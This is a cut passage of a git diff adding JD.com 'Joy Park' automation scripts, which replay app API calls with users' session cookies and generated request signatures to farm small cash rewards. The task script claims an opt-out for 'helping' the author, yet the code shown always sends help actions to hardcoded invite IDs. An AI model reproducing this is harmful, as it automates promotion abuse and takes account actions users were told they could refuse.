this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_park_run.ts b/jd_joy_park_run.ts new file mode 100644 index 0000000..7c9ce5c --- /dev/null +++ b/jd_joy_park_run.ts @@ -0,0 +1,231 @@ +/** +汪汪乐园-跑步+组队 +默认翻倍到0.01红包结束,修改请设置变量 +export JD_JOY_PARK_RUN_ASSETS="0.04" +cron:30 0 * * * * +30 0 * * * * jd_joy_park_run.ts +new Env('极速版汪汪赛跑'); + +**/ + +import {get, post, o2s, requireConfig, wait} from './function/TS_USER_AGENTS' +import {H5ST} from "./function/h5st" +import {existsSync, readFileSync} from "fs"; +import {getDate} from "date-fns"; + +let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 +let assets: number = 0, captainId: string = '', h5stTool: H5ST = null + +!(async () => { + let cookiesArr: string[] = await requireConfig() + let account: { pt_pin: string, joy_park_run: number }[] = [] + + + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + + + assets = parseFloat(process.env.JD_JOY_PARK_RUN_ASSETS || '0.01') + let rewardAmount: number = 0 + try { + h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) + await h5stTool.__genAlgo() + res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) + let sum: number = 0, success: number = 0 + for (let t of res?.data?.detailVos || []) { + if (t.amount > 0 && getDate(new Date(t.createTime)) === new Date().getDate()) { + sum = add(sum, t.amount) + success++ + } else { + break + } + } + console.log('今日成功', success, '次') + console.log('今日收益', sum.toFixed(2), '元') + + res = await team('runningTeamInfo', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + if (!captainId) { + if (res.data.members.length === 0) { + console.log('成为队长') + captainId = res.data.captainId + } else if (res.data.members.length !== 6) { + console.log('队伍未满', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + captainId = res.data.captainId + } else { + console.log('队伍已满', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + } + } else if (captainId && res.data.members.length === 0) { + console.log('已有组队ID,未加入队伍') + res = await team('runningJoinTeam', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "captainId": captainId}) + if (res.code === 0) { + console.log('组队成功') + for (let member of res.data.members) { + if (member.captain) { + console.log('队长', member.nickName) + break + } + } + if (res.data.members.length === 6) { + console.log('队伍已满') + captainId = '' + } + } else { + o2s(res, '组队失败') + } + } else { + console.log('已组队', res.data.members.length, '人') + console.log('战队收益', res.data.teamSumPrize, '元') + } + + + h5stTool = new H5ST('b6ac3', 'jdltapp;', fp_b6ac3) + await h5stTool.__genAlgo() + res = await runningPageHome() + console.log('🧧总金额', res.data.runningHomeInfo.prizeValue, '元') + + let energy: number = res.data.runningHomeInfo.energy + console.log('💊 X', res.data.runningHomeInfo.energy, '个能量棒') + await wait(2000) + if (res.data.runningHomeInfo.nextRunningTime){ + console.log('⏳体力恢复中,还有', secondsToMinutes(res.data.runningHomeInfo.nextRunningTime / 1000)) + if (res.data.runningHomeInfo.nextRunningTime / 1000 < 300) { + await wait(res.data.runningHomeInfo.nextRunningTime) + res = await runningPageHome() + console.log('体力恢复完成,开始跑步....') + await wait(1000) + } else { + console.log('⏳等体力恢复在跑吧!'); + continue; + } + } else { + console.log('体力已恢复,开始跑步....') + } + + await startRunning(res, assets) + for (let i = 0; i < energy; i++) { + console.log('💉消耗能量棒跑步....') + res = await api('runningUseEnergyBar', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + //console.log(res.errMsg) + res = await runningPageHome() + await startRunning(res, assets) + await wait(1000) + } + res = await runningPageHome() + console.log('🧧总金额', res.data.runningHomeInfo.prizeValue, '元') + await wait(2000) + } catch (e) { + console.log('Error', e) + await wait(3000) + } + } +})() + +async function startRunning(res: any, assets: number) { + if (!res.data.runningHomeInfo.nextRunningTime) { + console.log('终点目标', assets) + for (let i = 0; i < 5; i++) { + res = await api('runningOpenBox', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + if (parseFloat(res.data.assets) >= assets) { + let assets: number = parseFloat(res.data.assets) + res = await api('runningPreserveAssets', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) + console.log('领取成功', assets) + break + } else { + if (res.data.doubleSuccess) { + console.log('翻倍成功', parseFloat(res.data.assets)) + await wait(10000) + } else if (!res.data.doubleSuccess && !res.data.runningHomeInfo.runningFinish) { + console.log('开始跑步', parseFloat(res.data.assets)) + await wait(10000) + } else { + console.log('翻倍失败') + break + } + } + } + } + await wait(3000) +} + +async function api(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string = '' + if (fn === 'runningOpenBox') { + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: "runningOpenBox", + t: timestamp.toString() + }) + } + let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` + h5st && (params += `&h5st=${h5st}`) + return await post('https://api.m.jd.com/', params, { + 'authority': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'cookie': cookie, + 'origin': 'https://h5platform.jd.com', + 'referer': 'https://h5platform.jd.com/', + 'user-agent': 'jdltapp;' + }) +} + +async function runningPageHome() { + return get(`https://api.m.jd.com/?functionId=runningPageHome&body=%7B%22linkId%22:%22L-sOanK_5RJCz7I314FpnQ%22,%22isFromJoyPark%22:true,%22joyLinkId%22:%22LsQNxL7iWDlXUs6cFl-AAg%22%7D&t=${Date.now()}&appid=activities_platform&client=ios&clientVersion=3.1.0`, { + 'Host': 'api.m.jd.com', + 'Origin': 'https://h5platform.jd.com', + 'User-Agent': 'jdltapp;', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} + +async function team(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: fn, + t: timestamp.toString() + }) + return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { + 'Host': 'api.m.jd.com', + 'User-Agent': 'jdltapp;', + 'Origin': 'https://h5platform.jd.com', + 'X-Requested-With': 'com.jd.jdlite', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} + +// 秒转时分秒 +function secondsToMinutes(seconds: number) { + let minutes: number = Math.floor(seconds / 60) + let second: number = Math.floor(seconds % 60) + return `${minutes}分${second}秒` +} + +// 小数加法 +function add(num1: number, num2: number) { + let r1: number, r2: number + try { + r1 = num1.toString().split('.')[1].length + } catch (e) { + r1 = 0 + } + try { + r2 = num2.toString().split('.')[1].length + } catch (e) { + r2 = 0 + } + let m: number = Math.pow(10, Math.max(r1, r2)) + return (num1 * m + num2 * m) / m +} \ No newline at end of file diff --git a/jd_joy_park_task.js b/jd_joy_park_task.js new file mode 100644 index 0000000..666fa17 --- /dev/null +++ b/jd_joy_park_task.js @@ -0,0 +1,373 @@ +/* + +脚本默认会帮我助力开工位,介意请添加变量HELP_JOYPARK,false为不助力 +export HELP_JOYPARK="" + +============Quantumultx=============== +[task_local] +#汪汪乐园每日任务 +0 1,7,20 * * * jd_joypark_task.js, tag=汪汪乐园每日任务, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_task.png, enabled=true + +================Loon============== +[Script] +cron "0 1,7,20 * * *" script-path=jd_joypark_task.js,tag=汪汪乐园每日任务 + +===============Surge================= +汪汪乐园每日任务 = type=cron,cronexp="0 1,7,20 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_task.js + +============小火箭========= +汪汪乐园每日任务 = type=cron,script-path=jd_joypark_task.js, cronexpr="0 1,7,20 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园每日任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.invitePinTaskList = [] +$.invitePin = [ + "VxQJC6Sr0QZkcOHwxoTjrw", + "oRY9YryofcNg71MZeKSZseKD6P6BJzKv2NBGxfiuJ20", + "EDPUVDhR7nUPh3jUGDJ_GyiLt77-wROqWVP2aesRUt8" +] +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.openIndex = 0; + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getTaskList(); + + // 签到 / 逛会场 / 浏览商品 + for (const task of $.taskList) { + if (task.taskType === 'SIGN') { + $.log(`${task.taskTitle}`) + await apDoTask(task.id, task.taskType, undefined); + $.log(`${task.taskTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_PRODUCT' || task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes !== 1) { + let productList = await apTaskDetail(task.id, task.taskType); + let productListNow = 0; + if (productList.length === 0) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + productList = await apTaskDetail(task.id, task.taskType); + + } + } + //做 + while (task.taskLimitTimes - task.taskDoTimes >= 0) { + + if (productList.length === 0) { + $.log(`${task.taskTitle} 活动火爆,素材库没有素材,我也不知道啥回事 = = `); + break; + } + $.log(`${task.taskTitle} ${task.taskDoTimes}/${task.taskLimitTimes}`); + let resp = await apDoTask(task.id, task.taskType, productList[productListNow].itemId, productList[productListNow].appid); + + if (resp.code === 2005 || resp.code === 0) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 任务完成!`) + } else { + $.log(`${resp.echo} 任务失败!`) + } + productListNow++; + task.taskDoTimes++; + if (!productList[productListNow]) { + break + } + } + //领 + for (let j = 0; j < task.taskLimitTimes; j++) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + break + } + } + } else if (task.taskType === 'SHARE_INVITE') { + $.yq_taskid = task.id + for (let j = 0; j < 5; j++) { + let resp = await apTaskDrawAward($.yq_taskid, 'SHARE_INVITE'); + + if (!resp.success) { + break + } + $.log("领取助力奖励成功!") + } + } + if (task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes === 1) { + $.log(`${task.taskTitle}|${task.taskShowTitle}`) + await apDoTask2(task.id, task.taskType, task.taskSourceUrl); + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + // if (task.taskType === 'SHARE_INVITE') { + // $.yq_taskid = task.id + // } + + } + } + } + + $.log("\n======汪汪乐园开始内部互助======\n") + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.newinvitePinTaskList = [...($.invitePinTaskList || []), ...($.invitePin || [])] + for (const invitePinTaskListKey of $.newinvitePinTaskList) { + $.log(`【京东账号${$.index}】${$.nickName || $.UserName} 助力 ${invitePinTaskListKey}`) + let resp = await getJoyBaseInfo($.yq_taskid, 1, invitePinTaskListKey); + if (resp.success) { + if (resp.data.helpState === 1) { + $.log("助力成功!"); + } else if (resp.data.helpState === 0) { + $.log("自己不能助力自己!"); + } else if (resp.data.helpState === 2) { + $.log("助力过了!"); + } else if (resp.data.helpState === 3) { + $.log("没有助力次数了!"); + break + } else if (resp.data.helpState === 4) { + $.log("这个B助力满了!"); + } + } else { + $.log("数据异常 助力失败!\n\n") + break + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +//任务列表 +function getTaskList() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskList`), async (err, resp, data) => { + $.log('=== 任务列表 start ===') + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.taskList = data.data + for (const row of $.taskList) { + $.log(`${row.taskTitle} ${row.taskDoTimes}/${row.taskLimitTimes}`) + } + $.log('=== 任务列表 end ===') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 互助 + * @param taskId + * @param inviteType + * @param inviterPin + * @returns {Promise} + */ +function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=1625480372020&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + //$.log(`resolve start`) + resolve(data); + //$.log(`resolve end`) + } + }) + }) +} + +function apDoTask(taskId, taskType, itemId = '', appid = 'activities_platform') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apDoTask2(taskId, taskType, itemId, appid = 'activities_platform') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apTaskDetail(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`functionId=apTaskDetail&body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDetail`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (!data.success) { + $.taskDetailList = [] + } else { + $.taskDetailList = data.data.taskItemList; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + if (!data.success) { + resolve([]); + } else { + resolve(data.data.taskItemList); + } + } + }) + }) +} + +function apTaskDrawAward(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDrawAward`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log("领取奖励") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch 